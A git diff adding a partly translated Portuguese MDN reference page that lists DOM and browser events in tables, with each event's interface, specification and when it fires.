Nome do EventoTipo de EventoEspecificaçãoExecutado quando...
CssRuleViewRefreshed devtools specificThe "Rules" view of the style inspector has been updated.
CssRuleViewChanged devtools specificThe "Rules" view of the style inspector has been changed.
CssRuleViewCSSLinkClicked devtools specificA link to a CSS file has been clicked in the "Rules" view of the style inspector.
- -

Consulte também

- - - -
- - - - - -
diff --git a/files/pt-pt/web/events/index.html b/files/pt-pt/web/events/index.html new file mode 100644 index 0000000000..e215eccadc --- /dev/null +++ b/files/pt-pt/web/events/index.html @@ -0,0 +1,3080 @@ +--- +title: Referência de Eventos +slug: Web/Eventos +tags: + - eventos +translation_of: Web/Events +--- +

Eventos DOM são enviados para notificar o código de coisas interessantes que ocorreram. Cada evento é representado por um objeto que é baseado na interface {{domxref ('Evento')}}, e poderá ter campos e/ou funções personalizadas adicionais utilizadas para obter informação adicional sobre o que aconteceu. Os eventos podem representar tudo, desde interações básicas do utilizador até notificações automáticas de coisas a acontecer no modelo de renderização. .

+ +

Este artigo oferece uma lista de eventos que podem ser enviados; alguns são eventos padrão definidos nas especificações oficiais, enquanto outros são eventos utilizadosinternamente pelos navegadores específicos; por exemplo, os eventos específicos da Mozilla são listados para que os extras possam utilizá-los para interagir com o navegador.

+ +

Categorias Mais Comuns

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Eventos de Recurso
Nome do EventoExecutado quando
{{event("cached")}}The resources listed in the manifest have been downloaded, and the application is now cached.
{{event("error")}}A resource failed to load.
{{event("abort")}}The loading of a resource has been aborted.
{{event("load")}}A resource and its dependent resources have finished loading.
{{event("beforeunload")}}The window, the document and its resources are about to be unloaded.
{{event("unload")}}The document or a dependent resource is being unloaded.
+ + + + + + + + + + + + + + + + + + + +
Eventos de Rede
Nome do EventoExecutado quando
{{event("online")}}The browser has gained access to the network.
{{event("offline")}}The browser has lost access to the network.
+ + + + + + + + + + + + + + + + + + + +
Eventos de Foco
Nome do EventoExecutado quando
{{event("focus")}}An element has received focus (does not bubble).
{{event("blur")}}An element has lost focus (does not bubble).
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
Eventos de Websocket
Nome do EventoExecutado quando
openA WebSocket connection has been established.
messageA message is received through a WebSocket.
{{event("error")}}A WebSocket connection has been closed with prejudice (some data couldn't be sent for example).
closeA WebSocket connection has been closed.
+ + + + + + + + + + + + + + + + + + + + + + + +
Eventos do Histórico de Sessão
Nome do EventoExecutado quando
{{event("pagehide")}}A session history entry is being traversed from.
{{event("pageshow")}}A session history entry is being traversed to.
{{event("popstate")}}A session history entry is being navigated to (in certain cases).
+ + + + + + + + + + + + + + + + + + + + + + + +
Eventos de Animação de CSS
Nome do EventoExecutado quando
{{event("animationstart")}}A CSS animation has started.
{{event("animationend")}}A CSS animation has completed.
{{event("animationiteration")}}A CSS animation is repeated.
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
Eventos de Transição de CSS
Nome do EventoExecutado quando
{{event("transitionstart")}}A CSS transition has actually started (fired after any delay).
{{event("transitioncancel")}}A CSS transition has been cancelled.
{{event("transitionend")}}A CSS transition has completed.
{{event("transitionrun")}}A CSS transition has began running (fired before any delay starts).
+ + + + + + + + + + + + + + + + + + + +
Eventos de Formulário
Nome do EventoExecutado quando
{{event("reset")}}The reset button is pressed
{{event("submit")}}The submit button is pressed
+ + + + + + + + + + + + + + + + + + + +
Eventos de Impressão
Nome do EventoExecutado quando
{{event("beforeprint")}}The print dialog is opened
{{event("afterprint")}}The print dialog is closed
+ + + + + + + + + + + + + + + + + + + + + + + +
Eventos de Composição de Texto
Nome do EventoExecutado quando
{{event("compositionstart")}}The composition of a passage of text is prepared (similar to keydown for a keyboard input, but works with other inputs such as speech recognition).
{{event("compositionupdate")}}A character is added to a passage of text being composed.
{{event("compositionend")}}The composition of a passage of text has been completed or canceled.
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
Eventos de Visualização
Nome do EventoExecutado quando
{{event("fullscreenchange")}}An element was turned to fullscreen mode or back to normal mode.
{{event("fullscreenerror")}}It was impossible to switch to fullscreen mode for technical reasons or because the permission was denied.
{{event("resize")}}The document view has been resized.
{{event("scroll")}}The document view or an element has been scrolled.
+ + + + + + + + + + + + + + + + + + + + + + + +
Eventos de Área de Transferência
Nome do EventoExecutado quando
{{event("cut")}}The selection has been cut and copied to the clipboard
{{event("copy")}}The selection has been copied to the clipboard
{{event("paste")}}The item from the clipboard has been pasted
+ + + + + + + + + + + + + + + + + + + + + +
Eventos de Teclado
Nome do EventoExecutado quando
{{event("keydown")}}ANY key is pressed
{{event("keypress")}}ANY key except Shift, Fn, CapsLock is in pressed position. (Fired continously.)
{{event("keyup")}}ANY key is released
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Eventos de Rato
Nome do EventoExecutado quando
{{event("mouseenter")}}A pointing device is moved onto the element that has the listener attached.
{{event("mouseover")}}A pointing device is moved onto the element that has the listener attached or onto one of its children.
{{event("mousemove")}}A pointing device is moved over an element. (Fired continously as the mouse moves.)
{{event("mousedown")}}A pointing device button is pressed on an element.
{{event("mouseup")}}A pointing device button is released over an element.
{{event("auxclick")}}A pointing device button (ANY non-primary button) has been pressed and released on an element.
{{event("click")}}A pointing device button (ANY button; soon to be primary button only) has been pressed and released on an element.
{{event("dblclick")}}A pointing device button is clicked twice on an element.
{{event("contextmenu")}}The right button of the mouse is clicked (before the context menu is displayed).
{{event("wheel")}}A wheel button of a pointing device is rotated in any direction.
{{event("mouseleave")}}A pointing device is moved off the element that has the listener attached.
{{event("mouseout")}}A pointing device is moved off the element that has the listener attached or off one of its children.
{{event("select")}}Some text is being selected.
{{event("pointerlockchange")}}The pointer was locked or released.
{{event("pointerlockerror")}}It was impossible to lock the pointer for technical reasons or because the permission was denied.
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Eventos de 'Arrastar e Largar'
Nome do EventoExecutado quando
{{event("dragstart")}}The user starts dragging an element or text selection.
{{event("drag")}}An element or text selection is being dragged (Fired continuously every 350ms).
{{event("dragend")}}A drag operation is being ended (by releasing a mouse button or hitting the escape key).
{{event("dragenter")}}A dragged element or text selection enters a valid drop target.
{{event("dragover")}}An element or text selection is being dragged over a valid drop target. (Fired continuously every 350ms.)
{{event("dragleave")}}A dragged element or text selection leaves a valid drop target.
{{event("drop")}}An element is dropped on a valid drop target.
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Eventos de Média
Nome do EventoExecutado quando
{{event("durationchange")}}The duration attribute has been updated.
{{event("loadedmetadata")}}The metadata has been loaded.
{{event("loadeddata")}}The first frame of the media has finished loading.
{{event("canplay")}}The browser can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.
{{event("canplaythrough")}}The browser estimates it can play the media up to its end without stopping for content buffering.
{{event("ended")}}Playback has stopped because the end of the media was reached.
{{event("emptied")}}The media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the load() method is called to reload it.
{{event("stalled")}}The user agent is trying to fetch media data, but data is unexpectedly not forthcoming.
{{event("suspend")}}Media data loading has been suspended.
{{event("play")}}Playback has begun.
{{event("playing")}}Playback is ready to start after having been paused or delayed due to lack of data.
{{event("pause")}}Playback has been paused.
{{event("waiting")}}Playback has stopped because of a temporary lack of data.
{{event("seeking")}}A seek operation began.
{{event("seeked")}}A seek operation completed.
{{event("ratechange")}}The playback rate has changed.
{{event("timeupdate")}}The time indicated by the currentTime attribute has been updated.
{{event("volumechange")}}The volume has changed.
{{event("complete")}}The rendering of an {{domxref("OfflineAudioContext")}} is terminated.
{{event("audioprocess")}}The input buffer of a {{domxref("ScriptProcessorNode")}} is ready to be processed.
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Eventos de Progresso
Nome do EventoExecutado quando
{{event("loadstart")}}Progresso começou.
{{event("progress")}}Em progresso.
{{event("error")}}Progresso falhou.
{{event("timeout")}}Progression is terminated due to preset time expiring.
abortProgression has been terminated (not due to an error).
loadProgression has been successful.
{{event("loadend")}}Progress has stopped (after "error", "abort" or "load" have been dispatched).
+ +

Eventos de armazenamento

+ +

{{event("change")}} (see {{anch("Non-standard events")}})
+ {{event("storage")}}

+ +

Eventos de atualização

+ +

{{event("checking")}}
+ {{event("downloading")}}
+ {{event("error")}}
+ {{event("noupdate")}}
+ {{event("obsolete")}}
+ {{event("updateready")}}

+ +

Eventos de alteração de valor

+ +

{{event("broadcast")}}
+ {{event("CheckboxStateChange")}}
+ {{event("hashchange")}}
+ {{event("input")}}
+ {{event("RadioStateChange")}}
+ {{event("readystatechange")}}
+ {{event("ValueChange")}}

+ +

Eventos não categorizados

+ +

{{event("invalid")}}
+ {{event("localized")}}
+ message
+ message
+ message
+ open
+ {{event("show")}}

+ +

Eventos menos comuns e não padrão

+ +

Eventos de Abortable Fetch

+ + + + + + + + + + + + + + +
Nome do EventoExecutado quando
{{event("abort_(dom_abort_api)", "abort")}}A DOM request is aborted, i.e. using {{domxref("AbortController.abort()")}}.
+ +

Eventos de WebVR

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nome do EventoExecutado quando
{{event("vrdisplayconnect")}}when a compatible {{domxref("VRDisplay")}} is connected to the computer.
{{event("vrdisplaydisconnect")}}When a compatible {{domxref("VRDisplay")}} is disconnected from the computer.
{{event("vrdisplayactivate")}}When a VR display is able to be presented to, for example if an HMD has been moved to bring it out of standby, or woken up by being put on.
{{event("vrdisplaydeactivate")}}When a {{domxref("VRDisplay")}} can no longer be presented to, for example if an HMD has gone into standby or sleep mode due to a period of inactivity.
{{event("vrdisplayblur")}}when presentation to a {{domxref("VRDisplay")}} has been paused for some reason by the browser, OS, or VR hardware — for example, while the user is interacting with a system menu or browser, to prevent tracking or loss of experience.
{{event("vrdisplayfocus")}}When presentation to a {{domxref("VRDisplay")}} has resumed after being blurred.
{{event("vrdisplaypresentchange")}}The presenting state of a {{domxref("VRDisplay")}} changes — i.e. goes from presenting to not presenting, or vice versa.
+ +

Eventos de SVG

+ +

{{event("SVGAbort")}}
+ {{event("SVGError")}}
+ {{event("SVGLoad")}}
+ {{event("SVGResize")}}
+ {{event("SVGScroll")}}
+ {{event("SVGUnload")}}
+ {{event("SVGZoom")}}

+ +

Eventos de base de dados

+ +

abort
+ blocked
+ complete
+ {{event("error")}} (link)
+ success
+ upgradeneeded
+ versionchange

+ +

Eventos de notificação

+ +

AlertActive
+ AlertClose

+ +

Eventos de CSS

+ +

CssRuleViewRefreshed
+ CssRuleViewChanged
+ CssRuleViewCSSLinkClicked
+ {{event("transitionend")}}

+ +

eventos de script

+ +

{{event("afterscriptexecute")}}
+ {{event("beforescriptexecute")}}

+ +

eventos de menu

+ +

{{event("DOMMenuItemActive")}}
+ {{event("DOMMenuItemInactive")}}

+ +

Eventos de janela

+ +

DOMWindowCreated
+ DOMTitleChanged
+ DOMWindowClose
+ SSWindowClosing
+ SSWindowStateReady
+ SSWindowStateBusy
+ close

+ +

Eventos de documento

+ +

DOMLinkAdded
+ DOMLinkRemoved
+ DOMMetaAdded
+ DOMMetaRemoved
+ DOMWillOpenModalDialog
+ DOMModalDialogClosed

+ +

Eventos de janela (Popup)

+ +

{{event("popuphidden")}}
+ {{event("popuphiding")}}
+ {{event("popupshowing")}}
+ {{event("popupshown")}}
+ DOMPopupBlocked

+ +

Eventos de separador

+ +

TabOpen
+ TabClose
+ TabSelect
+ TabShow
+ TabHide
+ TabPinned
+ TabUnpinned
+ SSTabClosing
+ SSTabRestoring
+ SSTabRestored
+ {{event("visibilitychange")}}

+ +

Eventos de bateria

+ +

{{event("chargingchange")}}
+ {{event("chargingtimechange")}}
+ {{event("dischargingtimechange")}}
+ {{event("levelchange")}}

+ +

Eventos de chamada

+ +

{{event("alerting")}}
+ {{event("busy")}}
+ {{event("callschanged")}}
+ {{event("cfstatechange")}}
+ {{event("connected")}}
+ {{event("connecting")}}
+ {{event("dialing")}}
+ {{event("disconnected")}}
+ {{event("disconnecting")}}
+ {{event("error_(Telephony)","error")}}
+ {{event("held")}}, {{event("holding")}}
+ {{event("incoming")}}
+ {{event("resuming")}}
+ {{event("statechange")}}
+ {{event("voicechange")}}

+ +

Eventos de sensor

+ +

{{event("compassneedscalibration")}}
+ {{event("devicelight")}}
+ {{event("devicemotion")}}
+ {{event("deviceorientation")}}
+ {{event("deviceproximity")}}
+ {{event("MozOrientation")}}
+ {{event("orientationchange")}}
+ {{event("userproximity")}}

+ +

Eventos de Smartcard

+ +

{{event("icccardlockerror")}}
+ {{event("iccinfochange")}}
+ {{event("smartcard-insert")}}
+ {{event("smartcard-remove")}}
+ {{event("stkcommand")}}
+ {{event("stksessionend")}}
+ {{event("cardstatechange")}}

+ +

Eventos de SMS e USSD

+ +

{{event("delivered")}}
+ {{event("received")}}
+ {{event("sent")}}
+ {{event("ussdreceived")}}

+ +

Eventos de frame

+ +

{{event("mozbrowserclose")}}
+ {{event("mozbrowsercontextmenu")}}
+ {{event("mozbrowsererror")}}
+ {{event("mozbrowsericonchange")}}
+ {{event("mozbrowserlocationchange")}}
+ {{event("mozbrowserloadend")}}
+ {{event("mozbrowserloadstart")}}
+ {{event("mozbrowseropenwindow")}}
+ {{event("mozbrowsersecuritychange")}}
+ {{event("mozbrowsershowmodalprompt")}} (link)
+ {{event("mozbrowsertitlechange")}}
+ DOMFrameContentLoaded

+ +

Eventos de mutação de DOM

+ +

DOMAttributeNameChanged
+ DOMAttrModified
+ DOMCharacterDataModified
+ {{event("DOMContentLoaded")}}
+ DOMElementNameChanged
+ DOMNodeInserted
+ DOMNodeInsertedIntoDocument
+ DOMNodeRemoved
+ DOMNodeRemovedFromDocument
+ DOMSubtreeModified

+ +

Eventos de toque

+ +

MozEdgeUIGesture
+ MozMagnifyGesture
+ MozMagnifyGestureStart
+ MozMagnifyGestureUpdate
+ MozPressTapGesture
+ MozRotateGesture
+ MozRotateGestureStart
+ MozRotateGestureUpdate
+ MozSwipeGesture
+ MozTapGesture
+ MozTouchDown
+ MozTouchMove
+ MozTouchUp
+ {{event("touchcancel")}}
+ {{event("touchend")}}
+ {{event("touchenter")}}
+ {{event("touchleave")}}
+ {{event("touchmove")}}
+ {{event("touchstart")}}

+ +

Eventos de pointer

+ +

{{event("pointerover")}}
+ {{event("pointerenter")}}
+ {{event("pointerdown")}}
+ {{event("pointermove")}}
+ {{event("pointerup")}}
+ {{event("pointercancel")}}
+ {{event("pointerout")}}
+ {{event("pointerleave")}}
+ {{event("gotpointercapture")}}
+ {{event("lostpointercapture")}}

+ +

Eventos padrão

+ +

These events are defined in official Web specifications, and should be common across browsers. Each event is listed along with the interface representing the object sent to recipients of the event (so you can find information about what data is provided with each event) as well as a link to the specification or specifications that define the event.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nome do EventoTipo de EventoEspecificaçãoExecutado quando...
{{event("abort")}}{{domxref("UIEvent")}}DOM L3The loading of a resource has been aborted.
abort{{domxref("ProgressEvent")}}Progress and XMLHttpRequestProgression has been terminated (not due to an error).
abort{{domxref("Event")}}IndexedDBA transaction has been aborted.
{{event("afterprint")}}{{gecko_minversion_inline("6")}}{{domxref("Event")}}HTML5The associated document has started printing or the print preview has been closed.
{{event("animationend")}}{{domxref("AnimationEvent")}} {{experimental_inline}}CSS AnimationsA CSS animation has completed.
{{event("animationiteration")}}{{domxref("AnimationEvent")}} {{experimental_inline}}CSS AnimationsA CSS animation is repeated.
{{event("animationstart")}}{{domxref("AnimationEvent")}} {{experimental_inline}}CSS AnimationsA CSS animation has started.
{{event("appinstalled")}}{{domxref("Event")}}Web App ManifestA web application is successfully installed as a progressive web app.
{{event("audioprocess")}}{{domxref("AudioProcessingEvent")}} {{deprecated_inline}}{{SpecName('Web Audio API', '#AudioProcessingEvent', 'audioprocess')}}The input buffer of a {{domxref("ScriptProcessorNode")}} is ready to be processed.
{{event("audioend")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}The user agent has finished capturing audio for speech recognition.
{{event("audiostart")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}The user agent has started to capture audio for speech recognition.
{{event("beforeprint")}} {{gecko_minversion_inline("6")}}{{domxref("Event")}}HTML5The associated document is about to be printed or previewed for printing.
{{event("beforeunload")}}{{domxref("BeforeUnloadEvent")}}HTML5 The window, the document and its resources are about to be unloaded.
{{event("beginEvent")}}{{domxref("TimeEvent")}}SVGA SMIL animation element begins.
blocked IndexedDBAn open connection to a database is blocking a versionchange transaction on the same database.
{{event("blur")}}{{domxref("FocusEvent")}} {{experimental_inline}}DOM L3An element has lost focus (does not bubble).
{{event("boundary")}} {{experimental_inline}}{{domxref("SpeechSynthesisEvent")}}{{SpecName('Web Speech API')}}The spoken utterance reaches a word or sentence boundary
{{event("cached")}}{{domxref("Event")}}OfflineThe resources listed in the manifest have been downloaded, and the application is now cached.
{{event("canplay")}}{{domxref("Event")}}HTML5 mediaThe user agent can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.
{{event("canplaythrough")}}{{domxref("Event")}}HTML5 mediaThe user agent can play the media up to its end without having to stop for further buffering of content.
{{event("change")}}{{domxref("Event")}}DOM L2, HTML5The change event is fired for {{HTMLElement("input")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}} elements when a change to the element's value is committed by the user.
{{event("chargingchange")}}{{domxref("Event")}}Battery statusThe battery begins or stops charging.
{{event("chargingtimechange")}}{{domxref("Event")}}Battery statusThe chargingTime attribute has been updated.
{{event("checking")}}{{domxref("Event")}}OfflineThe user agent is checking for an update, or attempting to download the cache manifest for the first time.
{{event("click")}}{{domxref("MouseEvent")}}DOM L3A pointing device button has been pressed and released on an element.
close{{domxref("Event")}}WebSocketA WebSocket connection has been closed.
complete IndexedDBA transaction successfully completed.
{{event("complete")}}{{domxref("OfflineAudioCompletionEvent")}} {{deprecated_inline}}{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}The rendering of an {{domxref("OfflineAudioContext")}} is terminated.
{{event("compositionend")}}{{gecko_minversion_inline("9")}}{{domxref("CompositionEvent")}}DOM L3The composition of a passage of text has been completed or canceled.
{{event("compositionstart")}}{{gecko_minversion_inline("9")}}{{domxref("CompositionEvent")}}DOM L3The composition of a passage of text is prepared (similar to keydown for a keyboard input, but works with other inputs such as speech recognition).
{{event("compositionupdate")}}{{gecko_minversion_inline("9")}}{{domxref("CompositionEvent")}}DOM L3A character is added to a passage of text being composed.
{{event("contextmenu")}}{{domxref("MouseEvent")}}HTML5The right button of the mouse is clicked (before the context menu is displayed).
{{event("copy")}}{{domxref("ClipboardEvent")}} {{experimental_inline}}ClipboardThe text selection has been added to the clipboard.
{{event("cut")}}{{domxref("ClipboardEvent")}} {{experimental_inline}}ClipboardThe text selection has been removed from the document and added to the clipboard.
{{event("dblclick")}}{{domxref("MouseEvent")}}DOM L3A pointing device button is clicked twice on an element.
{{event("devicechange")}}{{domxref("Event")}}{{SpecName("Media Capture")}}A media device such as a camera, microphone, or speaker is connected or removed from the system.
{{event("devicelight")}}{{domxref("DeviceLightEvent")}} {{experimental_inline}}Ambient Light EventsFresh data is available from a light sensor.
{{event("devicemotion")}}{{domxref("DeviceMotionEvent")}} {{experimental_inline}}Device Orientation EventsFresh data is available from a motion sensor.
{{event("deviceorientation")}}{{domxref("DeviceOrientationEvent")}} {{experimental_inline}}Device Orientation EventsFresh data is available from an orientation sensor.
{{event("deviceproximity")}}{{domxref("DeviceProximityEvent")}} {{experimental_inline}}Proximity EventsFresh data is available from a proximity sensor (indicates an approximated distance between the device and a nearby object).
{{event("dischargingtimechange")}}{{domxref("Event")}}Battery statusThe dischargingTime attribute has been updated.
DOMActivate {{deprecated_inline}}{{domxref("UIEvent")}}DOM L3A button, link or state changing element is activated (use {{event("click")}} instead).
DOMAttributeNameChanged {{deprecated_inline}}{{domxref("MutationNameEvent")}}DOM L3 RemovedThe name of an attribute changed (use mutation observers instead).
DOMAttrModified {{deprecated_inline}}{{domxref("MutationEvent")}}DOM L3The value of an attribute has been modified (use mutation observers instead).
DOMCharacterDataModified {{deprecated_inline}}{{domxref("MutationEvent")}}DOM L3A text or another CharacterData has changed (use mutation observers instead).
{{event("DOMContentLoaded")}}{{domxref("Event")}}HTML5The document has finished loading (but not its dependent resources).
DOMElementNameChanged {{deprecated_inline}}{{domxref("MutationNameEvent")}}DOM L3 RemovedThe name of an element changed (use mutation observers instead).
DOMFocusIn {{deprecated_inline}}{{domxref("FocusEvent")}} {{experimental_inline}}DOM L3An element has received focus (use {{event("focus")}} or {{event("focusin")}} instead).
DOMFocusOut {{deprecated_inline}}{{domxref("FocusEvent")}} {{experimental_inline}}DOM L3An element has lost focus (use {{event("blur")}} or {{event("focusout")}} instead).
DOMNodeInserted {{deprecated_inline}}{{domxref("MutationEvent")}}DOM L3A node has been added as a child of another node (use mutation observers instead).
DOMNodeInsertedIntoDocument {{deprecated_inline}}{{domxref("MutationEvent")}}DOM L3A node has been inserted into the document (use mutation observers instead).
DOMNodeRemoved {{deprecated_inline}}{{domxref("MutationEvent")}}DOM L3A node has been removed from its parent node (use mutation observers instead).
DOMNodeRemovedFromDocument {{deprecated_inline}}{{domxref("MutationEvent")}}DOM L3A node has been removed from the document (use mutation observers instead).
DOMSubtreeModified {{deprecated_inline}}{{domxref("MutationEvent")}}DOM L3A change happened in the document (use mutation observers instead).
{{event("downloading")}}{{domxref("Event")}}OfflineThe user agent has found an update and is fetching it, or is downloading the resources listed by the cache manifest for the first time.
{{event("drag")}}{{domxref("DragEvent")}}HTML5An element or text selection is being dragged (every 350ms).
{{event("dragend")}}{{domxref("DragEvent")}}HTML5A drag operation is being ended (by releasing a mouse button or hitting the escape key).
{{event("dragenter")}}{{domxref("DragEvent")}}HTML5A dragged element or text selection enters a valid drop target.
{{event("dragleave")}}{{domxref("DragEvent")}}HTML5A dragged element or text selection leaves a valid drop target.
{{event("dragover")}}{{domxref("DragEvent")}}HTML5An element or text selection is being dragged over a valid drop target (every 350ms).
{{event("dragstart")}}{{domxref("DragEvent")}}HTML5The user starts dragging an element or text selection.
{{event("drop")}}{{domxref("DragEvent")}}HTML5An element is dropped on a valid drop target.
{{event("durationchange")}}{{domxref("Event")}}HTML5 mediaThe duration attribute has been updated.
{{event("emptied")}}{{domxref("Event")}}HTML5 mediaThe media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the load() method is called to reload it.
{{event("end_(SpeechRecognition)","end")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}The speech recognition service has disconnected.
{{event("end_(SpeechSynthesis)","end")}} {{experimental_inline}}{{domxref("SpeechSynthesisEvent")}}{{SpecName("Web Speech API")}}The utterance has finished being spoken.
{{event("ended")}}{{domxref("Event")}}HTML5 mediaPlayback has stopped because the end of the media was reached.
{{event("ended_(Web_Audio)", "ended")}}{{domxref("Event")}}{{SpecName("Web Audio API")}}Playback has stopped because the end of the media was reached.
{{event("endEvent")}}{{domxref("TimeEvent")}}SVGA SMIL animation element ends.
{{event("error")}}{{domxref("UIEvent")}}DOM L3A resource failed to load.
{{event("error")}}{{domxref("ProgressEvent")}}Progress and XMLHttpRequestProgresso falhou.
{{event("error")}}{{domxref("Event")}}OfflineAn error occurred while downloading the cache manifest or updating the content of the application.
{{event("error")}}{{domxref("Event")}}WebSocketA WebSocket connection has been closed with prejudice (some data couldn't be sent for example).
{{event("error")}}{{domxref("Event")}}Server Sent EventsAn event source connection has been failed.
{{event("error")}}{{domxref("Event")}}IndexedDBA request caused an error and failed.
{{event("error_(SpeechRecognitionError)","error")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}A speech recognition error occurs.
{{event("error_(SpeechSynthesisError)","error")}}{{domxref("SpeechSynthesisErrorEvent")}}{{SpecName('Web Speech API')}}An error occurs that prevents the utterance from being successfully spoken.
{{event("focus")}}{{domxref("FocusEvent")}} {{experimental_inline}}DOM L3An element has received focus (does not bubble).
{{event("focusin")}}{{domxref("FocusEvent")}} {{experimental_inline}}DOM L3An element is about to receive focus (bubbles).
{{event("focusout")}}{{domxref("FocusEvent")}} {{experimental_inline}}DOM L3An element is about to lose focus (bubbles).
{{event("fullscreenchange")}}{{gecko_minversion_inline("9")}}{{domxref("Event")}}Full ScreenAn element was turned to fullscreen mode or back to normal mode.
{{event("fullscreenerror")}}{{gecko_minversion_inline("9")}}{{domxref("Event")}}Full ScreenIt was impossible to switch to fullscreen mode for technical reasons or because the permission was denied.
{{event("gamepadconnected")}}{{domxref("GamepadEvent")}} {{experimental_inline}}GamepadA gamepad has been connected.
{{event("gamepaddisconnected")}}{{domxref("GamepadEvent")}} {{experimental_inline}}GamepadA gamepad has been disconnected.
{{event("gotpointercapture")}}{{domxref("PointerEvent")}}Pointer EventsElement receives pointer capture.
{{event("hashchange")}}{{domxref("HashChangeEvent")}}HTML5The fragment identifier of the URL has changed (the part of the URL after the #).
{{event("lostpointercapture")}}{{domxref("PointerEvent")}}Pointer EventsElement lost pointer capture.
{{event("input")}}{{domxref("Event")}}HTML5The value of an element changes or the content of an element with the attribute contenteditable is modified.
{{event("invalid")}}{{domxref("Event")}}HTML5A submittable element has been checked and doesn't satisfy its constraints.
{{event("keydown")}}{{domxref("KeyboardEvent")}}DOM L3A key is pressed down.
{{event("keypress")}}{{domxref("KeyboardEvent")}}DOM L3A key is pressed down and that key normally produces a character value (use input instead).
{{event("keyup")}}{{domxref("KeyboardEvent")}}DOM L3A key is released.
{{event("languagechange")}} {{experimental_inline}}{{domxref("Event")}}{{ SpecName('HTML5.1', '#dom-navigator-languages', 'NavigatorLanguage.languages') }}The user's preferred languages have changed.
{{event("levelchange")}}{{domxref("Event")}}Battery statusThe level attribute has been updated.
{{event("load")}}{{domxref("UIEvent")}}DOM L3A resource and its dependent resources have finished loading.
load{{domxref("ProgressEvent")}}Progress and XMLHttpRequestProgression has been successful.
{{event("loadeddata")}}{{domxref("Event")}}HTML5 mediaThe first frame of the media has finished loading.
{{event("loadedmetadata")}}{{domxref("Event")}}HTML5 mediaThe metadata has been loaded.
{{event("loadend")}}{{domxref("ProgressEvent")}}Progress and XMLHttpRequestProgress has stopped (after "error", "abort" or "load" have been dispatched).
{{event("loadstart")}}{{domxref("ProgressEvent")}}Progress and XMLHttpRequestProgresso começou.
{{event("mark")}} {{experimental_inline}}{{domxref("SpeechSynthesisEvent")}}{{SpecName('Web Speech API')}}The spoken utterance reaches a named SSML "mark" tag.
message{{domxref("MessageEvent")}}WebSocketA message is received through a WebSocket.
message{{domxref("MessageEvent")}}Web WorkersA message is received from a Web Worker.
message{{domxref("MessageEvent")}}Web MessagingA message is received from a child (i)frame or a parent window.
message{{domxref("MessageEvent")}}Server Sent EventsA message is received through an event source.
{{event("messageerror")}}{{domxref("MessageEvent")}}{{domxref("MessagePort")}}, Web Workers, Broadcast Channel, {{domxref("Window")}}A message error is raised when a message is received by an object.
{{event("message_(ServiceWorker)","message")}} {{experimental_inline}}{{domxref("ServiceWorkerMessageEvent")}} or {{domxref("ExtendableMessageEvent")}}, depending on context.Service WorkersA message is received from a service worker, or a message is received in a service worker from another context.
